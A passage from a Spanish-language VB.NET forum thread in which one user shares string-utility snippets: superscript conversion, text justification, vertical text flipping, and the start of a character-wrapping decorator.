  71.        ''' Superscript (Wikipedia): <see href="https://en.wikipedia.org/wiki/Subscript_and_superscript"/>
  72.        ''' </summary>
  73.        ''' ----------------------------------------------------------------------------------------------------
  74.        ''' <example> This is a code example.
  75.        ''' <code language="VB.NET">
  76.        ''' Dim input As String = "The ideal temperature for sleeping is 18.3 degrees Celsius (65 degrees Fahrenheit)"
  77.        ''' Dim result As String =  ConvertToSuperscript(input)
  78.        ''' Console.WriteLine(result)
  79.        ''' </code>
  80.        ''' </example>
  81.        ''' ----------------------------------------------------------------------------------------------------
  82.        ''' <param name="input">
  83.        ''' The input string to convert to superscript.
  84.        ''' </param>
  85.        ''' ----------------------------------------------------------------------------------------------------
  86.        ''' <returns>
  87.        ''' The input string converted to their corresponding superscript forms.
  88.        ''' </returns>
  89.        ''' ----------------------------------------------------------------------------------------------------
  90.        <DebuggerStepThrough>
  91.        Public Shared Function ConvertToSuperscript(input As String) As String
  92.  
  93.            If String.IsNullOrWhiteSpace(input) Then
  94.                Throw New ArgumentNullException(paramName:=NameOf(input))
  95.            End If
  96.  
  97.            If UtilString.charMapAsciiToSuperscript Is Nothing Then
  98.                UtilString.charMapAsciiToSuperscript =
  99.                    New Dictionary(Of Char, Char)(EqualityComparer(Of Char).Default) From {
  100.                        {"0"c, "&#8304;"c}, {"1"c, "¹"c}, {"2"c, "²"c}, {"3"c, "³"c}, {"4"c, "&#8308;"c},
  101.                        {"5"c, "&#8309;"c}, {"6"c, "&#8310;"c}, {"7"c, "&#8311;"c}, {"8"c, "&#8312;"c}, {"9"c, "&#8313;"c},
  102.                        {"+"c, "&#8314;"c}, {"-"c, "&#8315;"c}, {"="c, "&#8316;"c}, {"("c, "&#8317;"c}, {")"c, "&#8318;"c},
  103.                        {"."c, "&#8901;"c}, {"·"c, "&#729;"c},
  104.                        {"a"c, "&#7491;"c}, {"b"c, "&#7495;"c}, {"c"c, "&#7580;"c}, {"d"c, "&#7496;"c}, {"e"c, "&#7497;"c},
  105.                        {"f"c, "&#7584;"c}, {"g"c, "&#7501;"c}, {"h"c, "&#688;"c}, {"i"c, "&#8305;"c}, {"j"c, "&#690;"c},
  106.                        {"k"c, "&#7503;"c}, {"l"c, "&#737;"c}, {"m"c, "&#7504;"c}, {"n"c, "&#8319;"c}, {"o"c, "&#7506;"c},
  107.                        {"p"c, "&#7510;"c}, {"q"c, "&#1785;"c}, {"r"c, "&#691;"c}, {"s"c, "&#738;"c}, {"t"c, "&#7511;"c},
  108.                        {"u"c, "&#7512;"c}, {"v"c, "&#7515;"c}, {"w"c, "&#695;"c}, {"x"c, "&#739;"c}, {"y"c, "&#696;"c},
  109.                        {"z"c, "&#7611;"c},
  110.                        {"A"c, "&#7468;"c}, {"B"c, "&#7470;"c}, {"C"c, "&#5222;"c}, {"D"c, "&#7472;"c}, {"E"c, "&#7473;"c},
  111.                        {"F"c, "&#11777;"c}, {"G"c, "&#7475;"c}, {"H"c, "&#7476;"c}, {"I"c, "&#7477;"c}, {"J"c, "&#7478;"c},
  112.                        {"K"c, "&#7479;"c}, {"L"c, "&#7480;"c}, {"M"c, "&#7481;"c}, {"N"c, "&#7482;"c}, {"O"c, "&#7484;"c},
  113.                        {"P"c, "&#7486;"c}, {"Q"c, "&#5227;"c}, {"R"c, "&#7487;"c}, {"S"c, "&#5382;"c}, {"T"c, "&#7488;"c},
  114.                        {"U"c, "&#7489;"c}, {"V"c, "&#11389;"c}, {"W"c, "&#7490;"c}, {"X"c, "&#5501;"c}, {"Y"c, "&#696;"c},
  115.                        {"Z"c, "&#5702;"c}
  116.                    }
  117.            End If
  118.  
  119.            Dim sb As New StringBuilder(input.Length)
  120.            For Each c As Char In input
  121.                Dim value As Char = Nothing
  122.                If UtilString.charMapAsciiToSuperscript.TryGetValue(c, value) Then
  123.                    sb.Append(value)
  124.                Else
  125.                    sb.Append(c)
  126.                End If
  127.            Next
  128.            Return sb.ToString()
  129.        End Function
  130.  
  131.        ''' ----------------------------------------------------------------------------------------------------
  132.        ''' <summary>
  133.        ''' Converts the characters in the input string to their corresponding superscript forms.
  134.        ''' <para></para>
  135.        ''' Letters in a superscript text are half the normal letter size and are placed above the middle of a text line.
  136.        ''' For example, the word "Sunshine" in superscript looks like this: "&#5382;&#7512;&#8319;&#738;&#688;&#8305;&#8319;&#7497;".
  137.        ''' <para></para>
  138.        ''' Superscripts are often used in mathematics to denote powers of a number, such as "x²" or "y&#7504;".
  139.        ''' They are also often used to write ordinal numbers, for example, 1&#738;&#7511;, 2&#8319;&#7496;, 3&#691;&#7496;, 4&#7511;&#688;, and so on.
  140.        ''' <para></para>
  141.        ''' Superscript (Wikipedia): <see href="https://en.wikipedia.org/wiki/Subscript_and_superscript"/>
  142.        ''' </summary>
  143.        ''' ----------------------------------------------------------------------------------------------------
  144.        ''' <example> This is a code example.
  145.        ''' <code language="VB.NET">
  146.        ''' Dim input As String = "&#7488;&#688;&#7497; &#8305;&#7496;&#7497;&#7491;&#737; &#7511;&#7497;&#7504;&#7510;&#7497;&#691;&#7491;&#7511;&#7512;&#691;&#7497; &#7584;&#7506;&#691; &#738;&#737;&#7497;&#7497;&#7510;&#8305;&#8319;&#7501; &#8305;&#738; ¹&#8312;&#8901;³ &#7496;&#7497;&#7501;&#691;&#7497;&#7497;&#738; &#5222;&#7497;&#737;&#738;&#8305;&#7512;&#738; &#8317;&#8310;&#8309; &#7496;&#7497;&#7501;&#691;&#7497;&#7497;&#738; &#11777;&#7491;&#688;&#691;&#7497;&#8319;&#688;&#7497;&#8305;&#7511;&#8318;"
  147.        ''' Dim result As String =  ConvertFromSuperscript(input)
  148.        ''' Console.WriteLine(result)
  149.        ''' </code>
  150.        ''' </example>
  151.        ''' ----------------------------------------------------------------------------------------------------
  152.        ''' <param name="input">
  153.        ''' The input string to convert to superscript.
  154.        ''' </param>
  155.        ''' ----------------------------------------------------------------------------------------------------
  156.        ''' <returns>
  157.        ''' The input string converted to their corresponding superscript forms.
  158.        ''' </returns>
  159.        ''' ----------------------------------------------------------------------------------------------------
  160.        <DebuggerStepThrough>
  161.        Public Shared Function ConvertFromSuperscript(input As String) As String
  162.  
  163.            If String.IsNullOrWhiteSpace(input) Then
  164.                Throw New ArgumentNullException(paramName:=NameOf(input))
  165.            End If
  166.  
  167.            If UtilString.charMapSuperscriptToAscii Is Nothing Then
  168.                UtilString.charMapSuperscriptToAscii =
  169.                    New List(Of KeyValuePair(Of Char, Char)) From {
  170.                        {New KeyValuePair(Of Char, Char)("&#8304;"c, "0"c)},
  171.                        {New KeyValuePair(Of Char, Char)("¹"c, "1"c)},
  172.                        {New KeyValuePair(Of Char, Char)("²"c, "2"c)},
  173.                        {New KeyValuePair(Of Char, Char)("³"c, "3"c)},
  174.                        {New KeyValuePair(Of Char, Char)("&#8308;"c, "4"c)},
  175.                        {New KeyValuePair(Of Char, Char)("&#8309;"c, "5"c)},
  176.                        {New KeyValuePair(Of Char, Char)("&#8310;"c, "6"c)},
  177.                        {New KeyValuePair(Of Char, Char)("&#8311;"c, "7"c)},
  178.                        {New KeyValuePair(Of Char, Char)("&#8312;"c, "8"c)},
  179.                        {New KeyValuePair(Of Char, Char)("&#8313;"c, "9"c)},
  180.                        {New KeyValuePair(Of Char, Char)("&#8314;"c, "+"c)},
  181.                        {New KeyValuePair(Of Char, Char)("&#8315;"c, "-"c)},
  182.                        {New KeyValuePair(Of Char, Char)("&#8316;"c, "="c)},
  183.                        {New KeyValuePair(Of Char, Char)("&#8317;"c, "("c)},
  184.                        {New KeyValuePair(Of Char, Char)("&#8318;"c, ")"c)},
  185.                        {New KeyValuePair(Of Char, Char)("&#8901;"c, "."c)},
  186.                        {New KeyValuePair(Of Char, Char)("&#729;"c, "·"c)},
  187.                        {New KeyValuePair(Of Char, Char)("&#7491;"c, "a"c)},
  188.                        {New KeyValuePair(Of Char, Char)("&#7495;"c, "b"c)},
  189.                        {New KeyValuePair(Of Char, Char)("&#7580;"c, "c"c)},
  190.                        {New KeyValuePair(Of Char, Char)("&#7496;"c, "d"c)},
  191.                        {New KeyValuePair(Of Char, Char)("&#7497;"c, "e"c)},
  192.                        {New KeyValuePair(Of Char, Char)("&#7584;"c, "f"c)},
  193.                        {New KeyValuePair(Of Char, Char)("&#7501;"c, "g"c)},
  194.                        {New KeyValuePair(Of Char, Char)("&#688;"c, "h"c)},
  195.                        {New KeyValuePair(Of Char, Char)("&#8305;"c, "i"c)},
  196.                        {New KeyValuePair(Of Char, Char)("&#690;"c, "j"c)},
  197.                        {New KeyValuePair(Of Char, Char)("&#7503;"c, "k"c)},
  198.                        {New KeyValuePair(Of Char, Char)("&#737;"c, "l"c)},
  199.                        {New KeyValuePair(Of Char, Char)("&#7504;"c, "m"c)},
  200.                        {New KeyValuePair(Of Char, Char)("&#8319;"c, "n"c)},
  201.                        {New KeyValuePair(Of Char, Char)("&#7506;"c, "o"c)},
  202.                        {New KeyValuePair(Of Char, Char)("&#7510;"c, "p"c)},
  203.                        {New KeyValuePair(Of Char, Char)("&#1785;"c, "q"c)},
  204.                        {New KeyValuePair(Of Char, Char)("&#691;"c, "r"c)},
  205.                        {New KeyValuePair(Of Char, Char)("&#738;"c, "s"c)},
  206.                        {New KeyValuePair(Of Char, Char)("&#7511;"c, "t"c)},
  207.                        {New KeyValuePair(Of Char, Char)("&#7512;"c, "u"c)},
  208.                        {New KeyValuePair(Of Char, Char)("&#7515;"c, "v"c)},
  209.                        {New KeyValuePair(Of Char, Char)("&#695;"c, "w"c)},
  210.                        {New KeyValuePair(Of Char, Char)("&#739;"c, "x"c)},
  211.                        {New KeyValuePair(Of Char, Char)("&#696;"c, "y"c)},
  212.                        {New KeyValuePair(Of Char, Char)("&#7611;"c, "z"c)},
  213.                        {New KeyValuePair(Of Char, Char)("&#7468;"c, "A"c)},
  214.                        {New KeyValuePair(Of Char, Char)("&#7470;"c, "B"c)},
  215.                        {New KeyValuePair(Of Char, Char)("&#5222;"c, "C"c)},
  216.                        {New KeyValuePair(Of Char, Char)("&#7472;"c, "D"c)},
  217.                        {New KeyValuePair(Of Char, Char)("&#7473;"c, "E"c)},
  218.                        {New KeyValuePair(Of Char, Char)("&#11777;"c, "F"c)},
  219.                        {New KeyValuePair(Of Char, Char)("&#7475;"c, "G"c)},
  220.                        {New KeyValuePair(Of Char, Char)("&#7476;"c, "H"c)},
  221.                        {New KeyValuePair(Of Char, Char)("&#7477;"c, "I"c)},
  222.                        {New KeyValuePair(Of Char, Char)("&#7478;"c, "J"c)},
  223.                        {New KeyValuePair(Of Char, Char)("&#7479;"c, "K"c)},
  224.                        {New KeyValuePair(Of Char, Char)("&#7480;"c, "L"c)},
  225.                        {New KeyValuePair(Of Char, Char)("&#7481;"c, "M"c)},
  226.                        {New KeyValuePair(Of Char, Char)("&#7482;"c, "N"c)},
  227.                        {New KeyValuePair(Of Char, Char)("&#7484;"c, "O"c)},
  228.                        {New KeyValuePair(Of Char, Char)("&#7486;"c, "P"c)},
  229.                        {New KeyValuePair(Of Char, Char)("&#5227;"c, "Q"c)},
  230.                        {New KeyValuePair(Of Char, Char)("&#7487;"c, "R"c)},
  231.                        {New KeyValuePair(Of Char, Char)("&#5382;"c, "S"c)},
  232.                        {New KeyValuePair(Of Char, Char)("&#7488;"c, "T"c)},
  233.                        {New KeyValuePair(Of Char, Char)("&#7489;"c, "U"c)},
  234.                        {New KeyValuePair(Of Char, Char)("&#11389;"c, "V"c)},
  235.                        {New KeyValuePair(Of Char, Char)("&#7490;"c, "W"c)},
  236.                        {New KeyValuePair(Of Char, Char)("&#5501;"c, "X"c)},
  237.                        {New KeyValuePair(Of Char, Char)("&#696;"c, "Y"c)},
  238.                        {New KeyValuePair(Of Char, Char)("&#5702;"c, "Z"c)}
  239.                    }
  240.            End If
  241.  
  242.            Dim defaultPair As New KeyValuePair(Of Char, Char)
  243.            Dim sb As New StringBuilder(input.Length)
  244.            For Each c As Char In input
  245.                Dim pair As KeyValuePair(Of Char, Char) = charMapSuperscriptToAscii.Find(Function(kv) kv.Key = c)
  246.                If Not pair.Equals(defaultPair) Then
  247.                    sb.Append(pair.Value)
  248.                Else
  249.                    sb.Append(c)
  250.                End If
  251.            Next
  252.            Return sb.ToString()
  253.        End Function
  254.  
  255. #End Region
  256.  
  257.    End Class
  258.  
  259. End Namespace
  260.  
  261. #End Region
  262.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 09:20 am
Un algoritmo para justificar un string.

Me he inspirado en este servicio online: https://onlinetexttools.com/justify-text

Ejemplo de uso:
Código
  1. Dim input As String =
  2. "About 20% of oxygen is produced by the Amazon rainforest. The Earth's atmosphere is about 78 percent nitrogen, 21 percent oxygen, and about 1 percent other gases.
  3.  
  4. For the existence of most organisms on the planet, oxygen is a necessary element, it provides the body with energy and removes carbon dioxide. Fortunately, plants constantly replenish the oxygen level of our planet thanks to photosynthesis. During this process, carbon dioxide and water are converted into energy, releasing oxygen as a byproduct.
  5.  
  6. The Amazon rainforest covers 5.5 million square kilometers (2.1 million square miles), recycling much of the Earth's oxygen while absorbing large amounts of carbon dioxide."
  7.  
  8. Dim lineLength As Integer = 50
  9.  
  10. Dim result As String = UtilString.JustifyText(input, lineLength, justifyLastLine:=True)
  11.  
  12. Console.WriteLine(result)

Salida:
Código:
About  20%  of  oxygen  is  produced by the Amazon
rainforest.  The  Earth's  atmosphere  is about 78
percent  nitrogen,  21 percent oxygen, and about 1
percent                other                gases.

For   the   existence   of   most   organisms   on
the  planet,  oxygen  is  a  necessary element, it
provides  the  body with energy and removes carbon
dioxide.  Fortunately, plants constantly replenish
the   oxygen   level   of  our  planet  thanks  to
photosynthesis.   During   this   process,  carbon
dioxide  and  water  are  converted  into  energy,
releasing      oxygen      as     a     byproduct.

The   Amazon   rainforest   covers   5.5   million
square  kilometers  (2.1  million  square  miles),
recycling   much   of  the  Earth's  oxygen  while
absorbing   large   amounts   of  carbon  dioxide.


Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 13-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Functions "
  9.  
  10. ' JustifyText(String, Integer, Opt: Boolean) As String
  11.  
  12. #End Region
  13.  
  14. #End Region
  15.  
  16. #Region " Option Statements "
  17.  
  18. Option Strict On
  19. Option Explicit On
  20. Option Infer Off
  21.  
  22. #End Region
  23.  
  24. #Region " Imports "
  25.  
  26. Imports System.Collections.ObjectModel
  27. Imports System.Text
  28.  
  29. #End Region
  30.  
  31. #Region " String Util "
  32.  
  33. ' ReSharper disable once CheckNamespace
  34.  
  35. Namespace DevCase.Core.DataProcessing.Common
  36.  
  37.    Partial Public NotInheritable Class UtilString
  38.  
  39. #Region " Public Methods "
  40.  
  41.        ''' ----------------------------------------------------------------------------------------------------
  42.        ''' <summary>
  43.        ''' Justifies the input text by adjusting the line width and spacing between words.
  44.        ''' </summary>
  45.        ''' ----------------------------------------------------------------------------------------------------
  46.        ''' <example> This is a code example.
  47.        ''' <code language="VB.NET">
  48.        ''' Dim input As String =
  49.        ''' "About 20% of oxygen is produced by the Amazon rainforest. The Earth's atmosphere is about 78 percent nitrogen, 21 percent oxygen, and about 1 percent other gases.
  50.        '''
  51.        ''' For the existence of most organisms on the planet, oxygen is a necessary element, it provides the body with energy and removes carbon dioxide. Fortunately, plants constantly replenish the oxygen level of our planet thanks to photosynthesis. During this process, carbon dioxide and water are converted into energy, releasing oxygen as a byproduct.
  52.        '''
  53.        ''' The Amazon rainforest covers 5.5 million square kilometers (2.1 million square miles), recycling much of the Earth's oxygen while absorbing large amounts of carbon dioxide."
  54.        '''
  55.        ''' Dim lineLength As Integer = 50
  56.        '''
  57.        ''' Dim result As String = JustifyText(input, lineLength, justifyLastLine:=True)
  58.        '''
  59.        ''' Console.WriteLine(result)
  60.        ''' </code>
  61.        ''' </example>
  62.        ''' ----------------------------------------------------------------------------------------------------
  63.        ''' <param name="input">
  64.        ''' The input text.
  65.        ''' </param>
  66.        '''
  67.        ''' <param name="length">
  68.        ''' The desired length for each text line.
  69.        ''' </param>
  70.        '''
  71.        ''' <param name="justifyLastLine">
  72.        ''' Optional. Indicates whether to justify the last line of the paragraphs.
  73.        ''' <para></para>
  74.        ''' Default value is: False.
  75.        ''' </param>
  76.        ''' ----------------------------------------------------------------------------------------------------
  77.        ''' <returns>
  78.        ''' The resulting justified text.
  79.        ''' </returns>
  80.        ''' ----------------------------------------------------------------------------------------------------
  81.        <DebuggerStepThrough>
  82.        Public Shared Function JustifyText(input As String, length As Integer,
  83.                                           Optional justifyLastLine As Boolean = False) As String
  84.  
  85.  
  86.            Dim paragraphs As String() = input.Split({Environment.NewLine}, StringSplitOptions.None)
  87.            Dim paragraphsCount As Integer = paragraphs.Length
  88.  
  89.            Dim justifiedLines As New Collection(Of String)()
  90.  
  91.            For paragraphIdx As Integer = 0 To paragraphsCount - 1
  92.  
  93.                Dim words As String() = paragraphs(paragraphIdx).Split(" "c)
  94.                Dim lines As New Collection(Of String)()
  95.  
  96.                Dim currentLine As New StringBuilder()
  97.                Dim currentLineLength As Integer = 0
  98.  
  99.                For Each word As String In words
  100.                    Dim wordLength As Integer = word.Length
  101.  
  102.                    If currentLineLength + wordLength <= length Then
  103.                        currentLine.Append(word & " ")
  104.                        currentLineLength += wordLength + 1
  105.  
  106.                    Else
  107.                        lines.Add(currentLine.ToString().Trim())
  108.                        currentLine = New StringBuilder(word & " ")
  109.                        currentLineLength = wordLength + 1
  110.                    End If
  111.  
  112.                    If wordLength > length Then
  113.                        Dim remainingWord As String = word
  114.                        While remainingWord.Length > length
  115.                            lines.Add(remainingWord.Substring(0, length))
  116.                            remainingWord = remainingWord.Substring(length)
  117.                        End While
  118.  
  119.                        If remainingWord.Length > 0 Then
  120.                            lines.Add(remainingWord)
  121.                        End If
  122.                    End If
  123.  
  124.                Next
  125.  
  126.                lines.Add(currentLine.ToString().Trim())
  127.  
  128.                For i As Integer = 0 To lines.Count - 1
  129.                    Dim line As String = lines(i)
  130.  
  131.                    If (i = lines.Count - 1) AndAlso Not justifyLastLine Then
  132.                        justifiedLines.Add(line)
  133.                        Continue For
  134.                    End If
  135.  
  136.                    Dim lineLength As Integer = line.Length
  137.                    Dim wordsInLine As String() = line.Split(" "c)
  138.                    Dim wordsCount As Integer = wordsInLine.Length
  139.  
  140.                    If wordsCount > 1 Then
  141.                        Dim remainingSpaces As Integer = length - line.Replace(" "c, "").Length
  142.                        Dim spacesPerGap As Integer = remainingSpaces \ (wordsCount - 1)
  143.                        Dim extraSpaces As Integer = remainingSpaces Mod (wordsCount - 1)
  144.  
  145.                        Dim justifiedLine As New StringBuilder(wordsInLine(0))
  146.                        For j As Integer = 1 To wordsCount - 1
  147.                            justifiedLine.Append(" "c, spacesPerGap)
  148.                            If j <= extraSpaces Then
  149.                                justifiedLine.Append(" "c)
  150.                            End If
  151.                            justifiedLine.Append(wordsInLine(j))
  152.                        Next
  153.  
  154.                        line = justifiedLine.ToString()
  155.                    End If
  156.  
  157.                    justifiedLines.Add(line)
  158.                Next
  159.  
  160.                If Not justifyLastLine AndAlso justifiedLines.Count > 1 Then
  161.                    justifiedLines(justifiedLines.Count - 1) = justifiedLines(justifiedLines.Count - 1).TrimEnd()
  162.                End If
  163.  
  164.            Next
  165.  
  166.            Return String.Join(Environment.NewLine, justifiedLines)
  167.        End Function
  168.  
  169. #End Region
  170.  
  171.    End Class
  172.  
  173. End Namespace
  174.  
  175. #End Region
  176.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 09:28 am
Un algoritmo para volcar un texto de forma vertical.

Inspirado en este servicio: https://onlinetexttools.com/flip-text-vertically

Los resultados son idénticos o muy similares a estos:

(http://i.imgur.com/bC0Ylbzl.png) (https://i.imgur.com/bC0Ylbz.png)



UtilString.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 11-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Functions "
  9.  
  10. ' FlipTextVertically(String, VerticalFlipTextMode, Opt: Char) As String
  11.  
  12. #End Region
  13.  
  14. #End Region
  15.  
  16. #Region " Option Statements "
  17.  
  18. Option Strict On
  19. Option Explicit On
  20. Option Infer Off
  21.  
  22. #End Region
  23.  
  24. #Region " Imports "
  25.  
  26. Imports System.Collections.Generic
  27. Imports System.ComponentModel
  28. Imports System.Linq
  29. Imports System.Text
  30.  
  31. #End Region
  32.  
  33. #Region " String Util "
  34.  
  35. ' ReSharper disable once CheckNamespace
  36.  
  37. Namespace DevCase.Core.DataProcessing.Common
  38.  
  39.    Partial Public NotInheritable Class UtilString
  40.  
  41. #Region " Public Methods "
  42.  
  43.        ''' ----------------------------------------------------------------------------------------------------
  44.        ''' <summary>
  45.        ''' Transforms the source string into vertical text.
  46.        ''' </summary>
  47.        ''' ----------------------------------------------------------------------------------------------------
  48.        ''' <seealso href="https://onlinetexttools.com/flip-text-vertically"/>
  49.        ''' ----------------------------------------------------------------------------------------------------
  50.        ''' <param name="input">
  51.        ''' The input string to flip it vertically.
  52.        ''' <para></para>
  53.        ''' If this value is null, no changes are made to the string.
  54.        ''' </param>
  55.        '''
  56.        ''' <param name="flipMode">
  57.        ''' The vertical flip mode indicating how the text should be flipped.
  58.        ''' </param>
  59.        '''
  60.        ''' <param name="separatorChar">
  61.        ''' Optional. The character used to separate columns. Default is "|".
  62.        ''' </param>
  63.        ''' ----------------------------------------------------------------------------------------------------
  64.        ''' <returns>
  65.        ''' The resulting vertically flipped text.
  66.        ''' </returns>
  67.        ''' ----------------------------------------------------------------------------------------------------
  68.        <DebuggerStepThrough>
  69.        Public Shared Function FlipTextVertically(input As String, flipMode As VerticalFlipTextMode,
  70.                                                  Optional separatorChar As Char = "|"c) As String
  71.  
  72.            If String.IsNullOrEmpty(input) Then
  73.                Return input
  74.            End If
  75.  
  76.            If separatorChar.Equals(Nothing) Then
  77.                Throw New ArgumentNullException(paramName:=NameOf(separatorChar))
  78.            End If
  79.  
  80.            Select Case flipMode
  81.  
  82.                Case VerticalFlipTextMode.CharByChar
  83.                    Dim lines As String() = input.Split({Environment.NewLine}, StringSplitOptions.RemoveEmptyEntries)
  84.                    Dim maxLength As Integer = lines.Max(Function(line) line.Length)
  85.                    Dim verticalText As New StringBuilder()
  86.                    For i As Integer = 0 To maxLength - 1
  87.                        For j As Integer = 0 To lines.Length - 1
  88.                            If i < lines(j).Length Then
  89.                                verticalText.Append(lines(j)(i))
  90.                            Else
  91.                                verticalText.Append(" "c)
  92.                            End If
  93.                            If j < lines.Length - 1 Then
  94.                                verticalText.Append($" {separatorChar} ")
  95.                            End If
  96.                        Next
  97.                        verticalText.AppendLine()
  98.                    Next
  99.                    Return verticalText.ToString()
  100.  
  101.                Case VerticalFlipTextMode.WordByWord
  102.                    Dim lines As String() = input.Split(New String() {Environment.NewLine}, StringSplitOptions.RemoveEmptyEntries)
  103.                    Dim wordsPerLine As New List(Of List(Of String))()
  104.                    For Each line As String In lines
  105.                        Dim words As String() = line.Split({" "c}, StringSplitOptions.RemoveEmptyEntries)
  106.                        wordsPerLine.Add(words.ToList())
  107.                    Next
  108.                    Dim maxLength As Integer = wordsPerLine.Max(Function(words) words.Count)
  109.                    Dim verticalText As New StringBuilder()
  110.                    For i As Integer = 0 To maxLength - 1
  111.                        For j As Integer = 0 To wordsPerLine.Count - 1
  112.                            Dim words As List(Of String) = wordsPerLine(j)
  113.                            If i < words.Count Then
  114.                                verticalText.Append(words(i).PadRight(words.Max(Function(word) word.Length)))
  115.                            Else
  116.                                verticalText.Append(" ".PadRight(words.Max(Function(word) word.Length)))
  117.                            End If
  118.                            If j < wordsPerLine.Count - 1 Then
  119.                                verticalText.Append($" {separatorChar} ")
  120.                            End If
  121.                        Next
  122.                        verticalText.AppendLine()
  123.                    Next
  124.                    Return verticalText.ToString()
  125.  
  126.                Case VerticalFlipTextMode.SentenceBySentence
  127.                    Dim GetMaxSentences As Func(Of String(), Integer) =
  128.                    Function(_lines As String()) As Integer
  129.                        Dim _maxSentences As Integer = 0
  130.                        For Each line As String In _lines
  131.                            Dim sentences As String() = line.Split({"."c}, StringSplitOptions.RemoveEmptyEntries)
  132.                            _maxSentences = System.Math.Max(_maxSentences, sentences.Length)
  133.                        Next
  134.                        Return _maxSentences
  135.                    End Function
  136.  
  137.                    Dim GetColumnWidths As Func(Of String(), Integer, Integer()) =
  138.                    Function(_lines As String(), _maxSentences As Integer) As Integer()
  139.                        Dim _columnWidths As Integer() = New Integer(_lines.Length - 1) {}
  140.                        For i As Integer = 0 To _lines.Length - 1
  141.                            Dim line As String = _lines(i)
  142.                            Dim sentences As String() = line.Split({"."c}, StringSplitOptions.RemoveEmptyEntries)
  143.                            Dim maxWidth As Integer = 0
  144.                            For j As Integer = 0 To System.Math.Min(_maxSentences, sentences.Length) - 1
  145.                                maxWidth = System.Math.Max(maxWidth, sentences(j).Trim().Length)
  146.                            Next
  147.                            _columnWidths(i) = maxWidth
  148.                        Next
  149.                        Return _columnWidths
  150.                    End Function
  151.  
  152.                    Dim lines As String() = input.Split({Environment.NewLine}, StringSplitOptions.RemoveEmptyEntries)
  153.                    Dim maxSentences As Integer = GetMaxSentences(lines)
  154.                    Dim columnWidths As Integer() = GetColumnWidths(lines, maxSentences)
  155.                    Dim output As New StringBuilder()
  156.  
  157.                    For i As Integer = 0 To maxSentences - 1
  158.                        For j As Integer = 0 To lines.Length - 1
  159.                            Dim line As String = lines(j)
  160.                            Dim sentences As String() = line.Split({"."c}, StringSplitOptions.RemoveEmptyEntries)
  161.                            Dim sentence As String = ""
  162.                            If i < sentences.Length Then
  163.                                sentence = sentences(i).Trim() & "."
  164.                            End If
  165.                            Dim column As String = sentence.PadRight(columnWidths(j) + 1)
  166.                            output.Append(column)
  167.                            If j < lines.Length - 1 Then
  168.                                output.Append($" {separatorChar} ")
  169.                            End If
  170.                        Next
  171.                        output.AppendLine()
  172.                    Next
  173.                    Return output.ToString()
  174.  
  175.                Case Else
  176.                    Throw New InvalidEnumArgumentException(argumentName:=NameOf(flipMode), invalidValue:=flipMode, enumClass:=GetType(VerticalFlipTextMode))
  177.  
  178.            End Select
  179.  
  180.        End Function
  181.  
  182. #End Region
  183.  
  184.    End Class
  185.  
  186. End Namespace
  187.  
  188. #End Region
  189.  



VerticalFlipTextMode.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 11-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict Off
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. #End Region
  17.  
  18. #Region " VerticalFlipTextMode "
  19.  
  20. ' ReSharper disable once CheckNamespace
  21.  
  22. Namespace DevCase.Core.DataProcessing.Common
  23.  
  24.    ''' ----------------------------------------------------------------------------------------------------
  25.    ''' <summary>
  26.    ''' Specifies how the text should be flipped when using <see cref="UtilString.FlipTextVertically"/> function.
  27.    ''' </summary>
  28.    ''' ----------------------------------------------------------------------------------------------------
  29.    Public Enum VerticalFlipTextMode As Integer
  30.  
  31.        ''' <summary>
  32.        ''' Divides the text into characters.        
  33.        ''' That is, all the characters from every text row get rearranged in columns.
  34.        ''' </summary>
  35.        CharByChar
  36.  
  37.        ''' <summary>
  38.        ''' Divides the text into words.
  39.        ''' <para></para>
  40.        ''' That is, all the words from every text row get rearranged in columns.
  41.        ''' </summary>
  42.        WordByWord
  43.  
  44.        ''' <summary>
  45.        ''' Divides the text into sentences.
  46.        ''' <para></para>
  47.        ''' That is, if you have several sentences in one line,
  48.        ''' then after rewriting them vertically, they will appear in a single column.
  49.        ''' </summary>
  50.        SentenceBySentence
  51.  
  52.    End Enum
  53.  
  54. End Namespace
  55.  
  56. #End Region
  57.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 09:33 am
Un algoritmo para envolver de forma decorativa los caracteres de un string.

Inspirado en este servicio: https://onlinetexttools.com/add-symbols-around-letters (https://onlinetexttools.com/add-symbols-around-letters)

Los resultados son idénticos o muy similares a esto:

(http://i.imgur.com/xc6wGedl.png) (https://i.imgur.com/xc6wGed.png)

...con opciones de personalización.



Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 11-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Functions "
  9.  
  10. ' WrapCharacters(String, Char, Char, Opt: Boolean, Opt: Boolean) As String
  11.  
  12. #End Region
  13.  
  14. #End Region
  15.  
  16. #Region " Option Statements "
  17.  
  18. Option Strict On
  19. Option Explicit On
  20. Option Infer Off
  21.  
  22. #End Region
  23.  
  24. #Region " Imports "
  25.  
  26. Imports System.Linq
  27. Imports System.Text
  28.  
  29. #End Region
  30.  
  31. #Region " String Util "
  32.  
  33. ' ReSharper disable once CheckNamespace
  34.  
  35. Namespace DevCase.Core.DataProcessing.Common
  36.  
  37.    Partial Public NotInheritable Class UtilString
  38.  
  39. #Region " Public Methods "
  40.  
  41.        ''' ----------------------------------------------------------------------------------------------------
  42.        ''' <summary>
  43.        ''' Decorates the input string by wrapping each character with the specified decorative symbols
  44.        ''' for its left and right sides.
  45.        ''' <para></para>
  46.        ''' For example, if the input string is 'ABC', the resulting string could be similar to this: '{A}{B}{C}'.
  47.        ''' </summary>
  48.        ''' ----------------------------------------------------------------------------------------------------
  49.        ''' <param name="input">
  50.        ''' The input string to decorate.
